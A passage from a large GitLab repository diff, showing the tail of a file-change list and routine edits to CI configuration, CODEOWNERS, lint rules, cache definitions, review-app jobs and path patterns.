-rw-r--r--spec/workers/packages/debian/generate_distribution_worker_spec.rb62
-rw-r--r--spec/workers/pipeline_hooks_worker_spec.rb5
-rw-r--r--spec/workers/pipeline_process_worker_spec.rb45
-rw-r--r--spec/workers/post_receive_spec.rb2
-rw-r--r--spec/workers/process_commit_worker_spec.rb2
-rw-r--r--spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb12
-rw-r--r--spec/workers/project_service_worker_spec.rb2
-rw-r--r--spec/workers/project_update_repository_storage_worker_spec.rb15
-rw-r--r--spec/workers/projects/post_creation_worker_spec.rb4
-rw-r--r--spec/workers/projects/schedule_bulk_repository_shard_moves_worker_spec.rb2
-rw-r--r--spec/workers/propagate_integration_inherit_worker_spec.rb2
-rw-r--r--spec/workers/propagate_integration_worker_spec.rb8
-rw-r--r--spec/workers/propagate_service_template_worker_spec.rb2
-rw-r--r--spec/workers/prune_web_hook_logs_worker_spec.rb26
-rw-r--r--spec/workers/remove_expired_group_links_worker_spec.rb2
-rw-r--r--spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb8
-rw-r--r--spec/workers/snippet_schedule_bulk_repository_shard_moves_worker_spec.rb12
-rw-r--r--spec/workers/snippet_update_repository_storage_worker_spec.rb15
-rw-r--r--spec/workers/ssh_keys/expired_notification_worker_spec.rb36
-rw-r--r--spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb10
-rw-r--r--spec/workers/stuck_ci_jobs_worker_spec.rb132
-rw-r--r--spec/workers/users/update_open_issue_count_worker_spec.rb65
-rw-r--r--spec/workers/web_hook_worker_spec.rb7
-rw-r--r--tooling/danger/changelog.rb161
-rw-r--r--tooling/danger/product_intelligence.rb102
-rw-r--r--tooling/danger/project_helper.rb13
-rw-r--r--tooling/graphql/docs/helper.rb438
-rw-r--r--tooling/graphql/docs/renderer.rb54
-rw-r--r--tooling/graphql/docs/templates/default.md.haml (renamed from lib/gitlab/graphql/docs/templates/default.md.haml)0
-rw-r--r--vendor/Dockerfile/OpenJDK-alpine.Dockerfile8
-rw-r--r--vendor/elastic_stack/values.yaml6
-rw-r--r--vendor/fluentd/values.yaml18
-rw-r--r--vendor/ingress/modsecurity.conf274
-rw-r--r--vendor/project_templates/cluster_management.tar.gzbin4051 -> 12723 bytes
-rw-r--r--workhorse/config.toml.example1
-rw-r--r--workhorse/config_test.go9
-rw-r--r--workhorse/doc/operations/configuration.md6
-rw-r--r--workhorse/gitaly_integration_test.go2
-rw-r--r--workhorse/gitaly_test.go2
-rw-r--r--workhorse/go.mod7
-rw-r--r--workhorse/go.sum74
-rw-r--r--workhorse/internal/api/api.go8
-rw-r--r--workhorse/internal/config/config.go20
-rw-r--r--workhorse/internal/git/archive.go2
-rw-r--r--workhorse/internal/git/archive_test.go2
-rw-r--r--workhorse/internal/git/blob.go2
-rw-r--r--workhorse/internal/git/diff.go2
-rw-r--r--workhorse/internal/git/format-patch.go2
-rw-r--r--workhorse/internal/git/snapshot.go2
-rw-r--r--workhorse/internal/git/upload-pack_test.go2
-rw-r--r--workhorse/internal/gitaly/blob.go4
-rw-r--r--workhorse/internal/gitaly/diff.go4
-rw-r--r--workhorse/internal/gitaly/gitaly.go6
-rw-r--r--workhorse/internal/gitaly/namespace.go2
-rw-r--r--workhorse/internal/gitaly/repository.go4
-rw-r--r--workhorse/internal/gitaly/smarthttp.go4
-rw-r--r--workhorse/internal/gitaly/unmarshal_test.go2
-rw-r--r--workhorse/internal/httprs/httprs_test.go8
-rw-r--r--workhorse/internal/lsif_transformer/parser/code_hover.go20
-rw-r--r--workhorse/internal/lsif_transformer/parser/code_hover_test.go24
-rw-r--r--workhorse/internal/lsif_transformer/parser/hovers.go13
-rw-r--r--workhorse/internal/objectstore/multipart.go11
-rw-r--r--workhorse/internal/redis/keywatcher.go18
-rw-r--r--workhorse/internal/redis/keywatcher_test.go55
-rw-r--r--workhorse/internal/redis/redis.go64
-rw-r--r--workhorse/internal/redis/redis_test.go16
-rw-r--r--workhorse/internal/testhelper/gitaly.go2
-rw-r--r--workhorse/main.go24
-rw-r--r--workhorse/main_test.go2
-rw-r--r--yarn.lock718
5793 files changed, 194115 insertions, 102114 deletions
diff --git a/.eslintrc.yml b/.eslintrc.yml
index 7ec7abca2e4..b1a65df946a 100644
--- a/.eslintrc.yml
+++ b/.eslintrc.yml
@@ -31,11 +31,6 @@ rules:
- error
- allowElseIf: true
lines-between-class-members: off
- # Disabled for now, to make the plugin-vue 4.5 -> 5.0 update smoother
- vue/no-confusing-v-for-v-if: error
- vue/no-use-v-if-with-v-for: off
- vue/no-v-html: error
- vue/use-v-on-exact: off
# all offenses of no-jquery/no-animate-toggle are false positives ( $toast.show() )
no-jquery/no-animate-toggle: off
no-jquery/no-event-shorthand: off
diff --git a/.gitignore b/.gitignore
index 9d9730bf406..323741575de 100644
--- a/.gitignore
+++ b/.gitignore
@@ -42,6 +42,7 @@ eslint-report.html
/config/redis.cache.yml
/config/redis.queues.yml
/config/redis.shared_state.yml
+/config/redis.trace_chunks.yml
/config/unicorn.rb
/config/puma.rb
/config/puma_actioncable.rb
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 27a618a9925..574a7d29853 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -107,3 +107,4 @@ variables:
include:
- local: .gitlab/ci/*.gitlab-ci.yml
+ - remote: 'https://gitlab.com/gitlab-org/frontend/untamper-my-lockfile/-/raw/main/.gitlab-ci-template.yml'
diff --git a/.gitlab/CODEOWNERS b/.gitlab/CODEOWNERS
index acb80bd194b..361d1124a78 100644
--- a/.gitlab/CODEOWNERS
+++ b/.gitlab/CODEOWNERS
@@ -7,6 +7,8 @@
*.rake @gitlab-org/maintainers/rails-backend
[Documentation Directories]
+.markdownlint.yml @marcel.amirault @eread @aqualls @cnorris
+/doc/.markdownlint @marcel.amirault @eread @aqualls @cnorris
/doc/ @gl-docsteam
/doc/.vale/ @marcel.amirault @eread @aqualls @cnorris
/doc/administration/geo/ @axil
@@ -21,7 +23,7 @@
/doc/administration/redis/ @axil
/doc/administration/reference_architectures/ @axil
/doc/administration/snippets/ @aqualls
-/doc/administration/troubleshooting @axil @marcia
+/doc/administration/troubleshooting @axil @marcia @eread
/doc/api/group_activity_analytics.md @msedlakjakubowski
/doc/ci/ @marcel.amirault @sselhorn
/doc/ci/environments/ @axil
@@ -29,10 +31,11 @@
/doc/ci/test_cases/ @msedlakjakubowski
/doc/development/ @marcia
/doc/development/documentation/ @cnorris
+/doc/development/i18n/ @ngaskill
/doc/development/value_stream_analytics.md @msedlakjakubowski
/doc/gitlab-basics/ @marcia
/doc/install/ @axil
-/doc/integration/ @aqualls
+/doc/integration/ @aqualls @eread
/doc/operations/ @ngaskill @axil
/doc/push_rules/ @aqualls
/doc/ssh/ @eread
@@ -43,7 +46,7 @@
/doc/user/analytics/ @msedlakjakubowski @ngaskill
/doc/user/application_security @rdickenson
/doc/user/clusters/ @marcia
-/doc/user/compliance/ @rdickenson
+/doc/user/compliance/ @rdickenson @eread
/doc/user/group/ @msedlakjakubowski
/doc/user/group/bulk_editing/ @msedlakjakubowski
/doc/user/group/devops_adoption/ @msedlakjakubowski
@@ -54,10 +57,10 @@
/doc/user/group/value_stream_analytics/ @msedlakjakubowski
/doc/user/infrastructure/ @marcia
/doc/user/packages/ @ngaskill
-/doc/user/profile/ @msedlakjakubowski
+/doc/user/profile/ @msedlakjakubowski @eread
/doc/user/project/ @aqualls @axil @eread @msedlakjakubowski @ngaskill
/doc/user/project/clusters/ @ngaskill
-/doc/user/project/import/ @msedlakjakubowski
+/doc/user/project/import/ @ngaskill @msedlakjakubowski
/doc/user/project/integrations/ @aqualls
/doc/user/project/integrations/prometheus_library/ @ngaskill
/doc/user/project/issues/ @msedlakjakubowski
@@ -65,7 +68,7 @@
/doc/user/project/milestones/ @msedlakjakubowski
/doc/user/project/pages/ @axil
/doc/user/project/repository/ @aqualls
-/doc/user/project/settings/ @aqualls
+/doc/user/project/settings/ @aqualls @eread
/doc/user/project/static_site_editor/index.md @aqualls
/doc/user/project/web_ide/index.md @aqualls
/doc/user/project/wiki/index.md @aqualls
@@ -200,7 +203,8 @@ Dangerfile @gl-quality/eng-prod
[Templates]
/lib/gitlab/ci/templates/ @nolith @shinya.maeda @matteeyah
/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml @DylanGriffith @mayra-cabrera @tkuah
-/lib/gitlab/ci/templates/Security/ @plafoucriere @gonzoyumo @twoodham @sethgitlab
+/lib/gitlab/ci/templates/Security/ @gonzoyumo @twoodham @sethgitlab @thiagocsf
+/lib/gitlab/ci/templates/Security/Container-Scanning.*.yml @gitlab-org/protect/container-security-backend
[Project Alias]
/ee/app/models/project_alias.rb @patrickbajao
@@ -216,6 +220,8 @@ Dangerfile @gl-quality/eng-prod
/ee/app/policies/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/policies/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
/ee/lib/api/vulnerabilit*.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/lib/gitlab/ci/reports/security/vulnerability_reports_comparer.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/spec/lib/gitlab/ci/reports/security/vulnerability_reports_comparer_spec.rb @gitlab-org/secure/threat-insights-backend-team
/ee/spec/policies/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
/ee/spec/policies/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
@@ -333,3 +339,11 @@ Dangerfile @gl-quality/eng-prod
[Application Security]
/lib/gitlab/content_security_policy/ @gitlab-com/gl-security/appsec
+
+[Gitaly]
+lib/gitlab/git_access.rb @proglottis @toon @zj-gitlab
+lib/gitlab/git_access_*.rb @proglottis @toon @zj-gitlab
+ee/lib/ee/gitlab/git_access.rb @proglottis @toon @zj-gitlab
+ee/lib/ee/gitlab/git_access_*.rb @proglottis @toon @zj-gitlab
+ee/lib/ee/gitlab/checks/** @proglottis @toon @zj-gitlab
+lib/gitlab/checks/** @proglottis @toon @zj-gitlab
diff --git a/.gitlab/changelog_config.yml b/.gitlab/changelog_config.yml
index 7aa18cc8f36..6069cd17a08 100644
--- a/.gitlab/changelog_config.yml
+++ b/.gitlab/changelog_config.yml
@@ -36,3 +36,8 @@ template: |
{% else %}
No changes.
{% end %}
+# The tag format for gitlab-org/gitlab is vX.Y.Z(-rcX)-ee. The -ee prefix would
+# be treated as a pre-release identifier, which can result in the wrong tag
+# being used as the starting point of a changelog commit range. The custom regex
+# here is used to ensure we find the correct tag.
+tag_regex: '^v(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)-ee$'
diff --git a/.gitlab/ci/docs.gitlab-ci.yml b/.gitlab/ci/docs.gitlab-ci.yml
index 35d462584ee..a4317c72413 100644
--- a/.gitlab/ci/docs.gitlab-ci.yml
+++ b/.gitlab/ci/docs.gitlab-ci.yml
@@ -10,8 +10,8 @@
# because some repos are private and CI_JOB_TOKEN cannot access files.
# See https://gitlab.com/gitlab-org/gitlab/issues/191273
GIT_DEPTH: 1
- # By default, deploy the Review App using the `master` branch of the `gitlab-org/gitlab-docs` project
- DOCS_BRANCH: master
+ # By default, deploy the Review App using the `main` branch of the `gitlab-org/gitlab-docs` project
+ DOCS_BRANCH: main
environment:
name: review-docs/mr-${CI_MERGE_REQUEST_IID}
# DOCS_REVIEW_APPS_DOMAIN and DOCS_GITLAB_REPO_SUFFIX are CI variables
@@ -54,8 +54,6 @@ docs-lint links:
extends:
- .docs:rules:docs-lint
image: registry.gitlab.com/gitlab-org/gitlab-docs/lint-html:alpine-3.13-ruby-2.7.2
- # TODO: revert to .default-retry when https://gitlab.com/gitlab-org/gitlab/-/issues/331002 is fixed.
- retry: 2
stage: test
needs: []
script:
diff --git a/.gitlab/ci/frontend.gitlab-ci.yml b/.gitlab/ci/frontend.gitlab-ci.yml
index 33aab8554e7..dfd595c2696 100644
--- a/.gitlab/ci/frontend.gitlab-ci.yml
+++ b/.gitlab/ci/frontend.gitlab-ci.yml
@@ -317,3 +317,30 @@ bundle-size-review:
expire_in: 31d
paths:
- bundle-size-review
+
+.startup-css-check-base:
+ extends:
+ - .frontend-test-base
+ script:
+ - *yarn-install
+ - run_timed_command "yarn generate:startup_css"
+ - yarn check:startup_css
+
+startup-css-check:
+ extends:
+ - .startup-css-check-base
+ - .frontend:rules:default-frontend-jobs
+ needs:
+ - job: "compile-test-assets"
+ - job: "rspec frontend_fixture"
+ - job: "rspec-ee frontend_fixture"
+ optional: true
+
+startup-css-check as-if-foss:
+ extends:
+ - .startup-css-check-base
+ - .as-if-foss
+ - .frontend:rules:default-frontend-jobs-as-if-foss
+ needs:
+ - job: "compile-test-assets as-if-foss"
+ - job: "rspec frontend_fixture as-if-foss"
diff --git a/.gitlab/ci/global.gitlab-ci.yml b/.gitlab/ci/global.gitlab-ci.yml
index 489b02fe2f6..ba49ddfce9d 100644
--- a/.gitlab/ci/global.gitlab-ci.yml
+++ b/.gitlab/ci/global.gitlab-ci.yml
@@ -36,6 +36,23 @@
<<: *gitaly-ruby-gems-cache
policy: push # We want to rebuild the cache from scratch to ensure stale dependencies are cleaned up.
+.gitaly-binaries-cache: &gitaly-binaries-cache
+ key:
+ files:
+ - GITALY_SERVER_VERSION
+ prefix: "gitaly-binaries"
+ paths:
+ - tmp/tests/gitaly/_build/bin/
+ - tmp/tests/gitaly/config.toml
+ - tmp/tests/gitaly/gitaly2.config.toml
+ - tmp/tests/gitaly/internal/
+ - tmp/tests/gitaly/internal_gitaly2/
+ - tmp/tests/gitaly/internal_sockets/
+ - tmp/tests/gitaly/Makefile
+ - tmp/tests/gitaly/praefect.config.toml
+ - tmp/tests/gitaly/ruby/
+ policy: pull
+
.go-pkg-cache: &go-pkg-cache
key: "go-pkg-v1"
paths:
@@ -81,7 +98,7 @@
<<: *rubocop-cache
# We want to rebuild the cache from scratch to ensure stale dependencies are cleaned up but RuboCop has a mechanism
# for keeping only the N latest cache files, so we take advantage of it with `pull-push`.
- policy: pull-push
+ policy: push
.qa-ruby-gems-cache: &qa-ruby-gems-cache
key: "qa-ruby-gems-v1"
@@ -97,6 +114,7 @@
cache:
- *ruby-gems-cache
- *gitaly-ruby-gems-cache
+ - *gitaly-binaries-cache
- *go-pkg-cache
.setup-test-env-cache-push:
@@ -105,6 +123,11 @@
- *gitaly-ruby-gems-cache-push
- *go-pkg-cache-push
+.gitaly-binaries-cache-push:
+ cache:
+ - <<: *gitaly-binaries-cache
+ policy: push # We want to rebuild the cache from scratch to ensure stale dependencies are cleaned up.
+
.rails-cache:
cache:
- *ruby-gems-cache
@@ -159,7 +182,7 @@
- *assets-cache-push
.use-pg11:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
services:
- name: postgres:11.6
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -168,7 +191,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg12:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
services:
- name: postgres:12
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -177,7 +200,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg11-ee:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
services:
- name: postgres:11.6
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -188,7 +211,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg12-ee:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
services:
- name: postgres:12
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
diff --git a/.gitlab/ci/rails.gitlab-ci.yml b/.gitlab/ci/rails.gitlab-ci.yml
index 68804b0f4c1..b74c8ebf575 100644
--- a/.gitlab/ci/rails.gitlab-ci.yml
+++ b/.gitlab/ci/rails.gitlab-ci.yml
@@ -8,7 +8,7 @@
.minimal-bundle-install:
script:
- - export BUNDLE_WITHOUT="${BUNDLE_WITHOUT}:default:test:puma:unicorn:kerberos:metrics:omnibus:ed25519"
+ - export BUNDLE_WITHOUT="${BUNDLE_WITHOUT}:default:test:puma:kerberos:metrics:omnibus:ed25519"
- bundle_install_script
.base-script:
@@ -192,6 +192,14 @@ update-setup-test-env-cache:
artifacts:
paths: [] # This job's purpose is only to update the cache.
+update-gitaly-binaries-cache:
+ extends:
+ - setup-test-env
+ - .gitaly-binaries-cache-push
+ - .shared:rules:update-gitaly-binaries-cache
+ artifacts:
+ paths: [] # This job's purpose is only to update the cache.
+
.coverage-base:
extends:
- .default-retry
diff --git a/.gitlab/ci/reports.gitlab-ci.yml b/.gitlab/ci/reports.gitlab-ci.yml
index 0162996e3a9..4cc03fdb1a4 100644
--- a/.gitlab/ci/reports.gitlab-ci.yml
+++ b/.gitlab/ci/reports.gitlab-ci.yml
@@ -27,7 +27,7 @@ code_quality:
variables:
SAST_BRAKEMAN_LEVEL: 2 # GitLab-specific
SAST_EXCLUDED_PATHS: "qa, spec, doc, ee/spec, config/gitlab.yml.example, tmp" # GitLab-specific
- SAST_DISABLE_BABEL: "true"
+ SAST_EXCLUDED_ANALYZERS: bandit, flawfinder, phpcs-security-audit, pmd-apex, security-code-scan, spotbugs
brakeman-sast:
rules: !reference [".reports:rules:sast", rules]
diff --git a/.gitlab/ci/review.gitlab-ci.yml b/.gitlab/ci/review.gitlab-ci.yml
index 5decc83da2b..cabeb0cc1ac 100644
--- a/.gitlab/ci/review.gitlab-ci.yml
+++ b/.gitlab/ci/review.gitlab-ci.yml
@@ -39,11 +39,11 @@ review-build-cng:
.review-workflow-base:
extends:
- .default-retry
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-helm3-kubectl1.14
+ image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-helm3.5-kubectl1.17
variables:
HOST_SUFFIX: "${CI_ENVIRONMENT_SLUG}"
DOMAIN: "-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN}"
- GITLAB_HELM_CHART_REF: "v4.6.3"
+ GITLAB_HELM_CHART_REF: "v4.12.0"
environment:
name: review/${CI_COMMIT_REF_SLUG}${FREQUENCY}
url: https://gitlab-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN}
@@ -54,6 +54,7 @@ review-deploy:
extends:
- .review-workflow-base
- .review:rules:review-deploy
+ retry: 2
stage: review
needs: ["review-build-cng"]
resource_group: "review/${CI_COMMIT_REF_NAME}"
@@ -65,18 +66,21 @@ review-deploy:
- *base-before_script
script:
- check_kube_domain
- - ensure_namespace
+ - "ensure_namespace ${KUBE_NAMESPACE}"
- install_external_dns
- download_chart
- date
- deploy || (display_deployment_debug && exit 1)
+ - verify_deploy || exit 1
- disable_sign_ups || (delete_release && exit 1)
after_script:
# Run seed-dast-test-data.sh only when DAST_RUN is set to true. This is to pupulate review app with data for DAST scan.
# Set DAST_RUN to true when jobs are manually scheduled.
- if [ "$DAST_RUN" == "true" ]; then source scripts/review_apps/seed-dast-test-data.sh; TRACE=1 trigger_proj_user_creation; fi
artifacts:
- paths: [environment_url.txt]
+ paths:
+ - environment_url.txt
+ - curl_output.txt
expire_in: 7 days
when: always
@@ -111,7 +115,6 @@ review-stop:
.review-qa-base:
extends:
- - .default-retry
- .use-docker-in-docker
image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-qa-alpine-ruby-2.7
stage: qa
@@ -120,6 +123,7 @@ review-stop:
QA_ARTIFACTS_DIR: "${CI_PROJECT_DIR}/qa"
QA_CAN_TEST_GIT_PROTOCOL_V2: "false"
QA_DEBUG: "true"
+ QA_GENERATE_ALLURE_REPORT: "true"
GITLAB_USERNAME: "root"
GITLAB_PASSWORD: "${REVIEW_APPS_ROOT_PASSWORD}"
GITLAB_ADMIN_USERNAME: "root"
@@ -140,10 +144,32 @@ review-stop:
expire_in: 7 days
when: always
+.allure-report-base:
+ image:
+ name: ${GITLAB_DEPENDENCY_PROXY}andrcuns/allure-report-publisher:0.3.2
+ entrypoint: [""]
+ stage: post-qa
+ variables:
+ GIT_STRATEGY: none
+ STORAGE_CREDENTIALS: $QA_ALLURE_REPORT_GCS_CREDENTIALS
+ GITLAB_AUTH_TOKEN: $GITLAB_QA_MR_ALLURE_REPORT_TOKEN
+ allow_failure: true
+ script:
+ - |
+ allure-report-publisher upload gcs \
+ --results-glob="qa/gitlab-qa-run-*/**/allure-results/*" \
+ --bucket="gitlab-qa-allure-reports" \
+ --prefix="$ALLURE_REPORT_PATH_PREFIX/$CI_COMMIT_REF_SLUG" \
+ --update-pr="comment" \
+ --copy-latest \
+ --ignore-missing-results \
+ --color
+
review-qa-smoke:
extends:
- .review-qa-base
- .review:rules:review-qa-smoke
+ retry: 1 # This is confusing but this means "2 runs at max".
script:
- gitlab-qa Test::Instance::Smoke "${QA_IMAGE}" "${CI_ENVIRONMENT_URL}"
@@ -209,6 +235,24 @@ parallel-spec-reports:
junit: qa/gitlab-qa-run-*/**/rspec-*.xml
expire_in: 31d
+allure-report-qa-smoke:
+ extends:
+ - .allure-report-base
+ - .review:rules:review-qa-smoke-report
+ needs: ["review-qa-smoke"]
+ variables:
+ ALLURE_REPORT_PATH_PREFIX: gitlab-review-smoke
+ ALLURE_JOB_NAME: review-qa-smoke
+
+allure-report-qa-all:
+ extends:
+ - .allure-report-base
+ - .review:rules:review-qa-all-report
+ needs: ["review-qa-all"]
+ variables:
+ ALLURE_REPORT_PATH_PREFIX: gitlab-review-all
+ ALLURE_JOB_NAME: review-qa-all
+
danger-review:
extends:
- .default-retry
diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml
index 5c9be5b1e9f..8dd97c1fe69 100644
--- a/.gitlab/ci/rules.gitlab-ci.yml
+++ b/.gitlab/ci/rules.gitlab-ci.yml
@@ -102,6 +102,7 @@
- ".gitlab/ci/build-images.gitlab-ci.yml"
- ".gitlab/ci/review.gitlab-ci.yml"
- "scripts/review_apps/base-config.yaml"
+ - "scripts/review_apps/review-apps.sh"
- "scripts/trigger-build"
.ci-qa-patterns: &ci-qa-patterns
@@ -110,6 +111,9 @@
- ".gitlab/ci/build-images.gitlab-ci.yml"
- ".gitlab/ci/qa.gitlab-ci.yml"
+.gitaly-patterns: &gitaly-patterns
+ - "GITALY_SERVER_VERSION"
+
.workhorse-patterns: &workhorse-patterns
- "GITLAB_WORKHORSE_VERSION"
- "workhorse/**/*"
@@ -119,7 +123,7 @@
- ".gitlab-ci.yml"
- ".gitlab/ci/**/*.yml"
- "lib/gitlab/ci/templates/**/*.yml"
- - "{,ee/}changelogs/**/*.yml"
+ - "{,ee/,jh/}changelogs/**/*.yml"
.docs-patterns: &docs-patterns
- ".gitlab/route-map.yml"
@@ -138,7 +142,7 @@
- "config/webpack.config.js"
- "config/**/*.js"
- "vendor/assets/**/*"
- - "{,ee/}app/assets/**/*"
+ - "{,ee/,jh/}app/assets/**/*"
.frontend-patterns: &frontend-patterns
- "{package.json,yarn.lock}"
@@ -148,45 +152,48 @@
- "Dockerfile.assets"
- "config/**/*.js"
- "vendor/assets/**/*"
- - "{,ee/}{app/assets,app/helpers,app/presenters,app/views,locale,public,symbol}/**/*"
+ - "{,ee/,jh/}{app/assets,app/helpers,app/presenters,app/views,locale,public,symbol}/**/*"
+
+.startup-css-patterns: &startup-css-patterns
+ - "{,ee/,jh/}app/assets/stylesheets/startup/**/*"
.backend-patterns: &backend-patterns
- "Gemfile{,.lock}"
- "Rakefile"
- "config.ru"
# List explicitly all the app/ dirs that are backend (i.e. all except app/assets).
- - "{,ee/}{app/channels,app/controllers,app/finders,app/graphql,app/helpers,app/mailers,app/models,app/policies,app/presenters,app/serializers,app/services,app/uploaders,app/validators,app/views,app/workers}/**/*"
- - "{,ee/}{bin,cable,config,db,lib}/**/*"
- - "{,ee/}spec/**/*.rb"
+ - "{,ee/,jh/}{app/channels,app/controllers,app/finders,app/graphql,app/helpers,app/mailers,app/models,app/policies,app/presenters,app/serializers,app/services,app/uploaders,app/validators,app/views,app/workers}/**/*"
+ - "{,ee/,jh/}{bin,cable,config,db,lib}/**/*"
+ - "{,ee/,jh/}spec/**/*.rb"
# CI changes
- ".gitlab-ci.yml"
- ".gitlab/ci/**/*"
- "*_VERSION"
.db-patterns: &db-patterns
- - "{,ee/}{,spec/}{db,migrations}/**/*"
- - "{,ee/}{,spec/}lib/{,ee/}gitlab/database/**/*"
- - "{,ee/}{,spec/}lib/{,ee/}gitlab/database{,_spec}.rb"
- - "{,ee/}{,spec/}lib/{,ee/}gitlab/background_migration/**/*"
- - "{,ee/}{,spec/}lib/{,ee/}gitlab/background_migration{,_spec}.rb"
- - "{,ee/}spec/support/helpers/database/**/*"
+ - "{,ee/,jh/}{,spec/}{db,migrations}/**/*"
+ - "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/database/**/*"
+ - "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/database{,_spec}.rb"
+ - "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/background_migration/**/*"
+ - "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/background_migration{,_spec}.rb"
+ - "{,ee/,jh/}spec/support/helpers/database/**/*"
- "config/prometheus/common_metrics.yml" # Used by Gitlab::DatabaseImporters::CommonMetrics::Importer
- - "{,ee/}app/models/project_statistics.rb" # Used to calculate sizes in migration specs
+ - "{,ee/,jh/}app/models/project_statistics.rb" # Used to calculate sizes in migration specs
# CI changes
- ".gitlab-ci.yml"
- ".gitlab/ci/**/*"
.db-library-patterns: &db-library-patterns
- - "{,ee/}{,spec/}lib/{,ee/}gitlab/database/**/*"
- - "{,ee/}{,spec/}lib/{,ee/}gitlab/database{,_spec}.rb"
- - "{,ee/}spec/support/helpers/database/**/*"
+ - "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/database/**/*"
+ - "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/database{,_spec}.rb"
+ - "{,ee/,jh/}spec/support/helpers/database/**/*"
.backstage-patterns: &backstage-patterns
- "Dangerfile"
- "danger/**/*"
- - "{,ee/}fixtures/**/*"
- - "{,ee/}rubocop/**/*"
- - "{,ee/}spec/**/*"
+ - "{,ee/,jh/}fixtures/**/*"
+ - "{,ee/,jh/}rubocop/**/*"
+ - "{,ee/,jh/}spec/**/*"
- "{,spec/}tooling/**/*"
.code-patterns: &code-patterns
@@ -206,7 +213,7 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
- - "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
@@ -231,15 +238,15 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
- - "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
# Backstage changes
- "Dangerfile"
- "danger/**/*"
- - "{,ee/}fixtures/**/*"
- - "{,ee/}rubocop/**/*"
- - "{,ee/}spec/**/*"
+ - "{,ee/,jh/}fixtures/**/*"
+ - "{,ee/,jh/}rubocop/**/*"
+ - "{,ee/,jh/}spec/**/*"
- "{,spec/}tooling/**/*"
.code-qa-patterns: &code-qa-patterns
@@ -259,7 +266,7 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
- - "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
# QA changes
@@ -283,15 +290,15 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
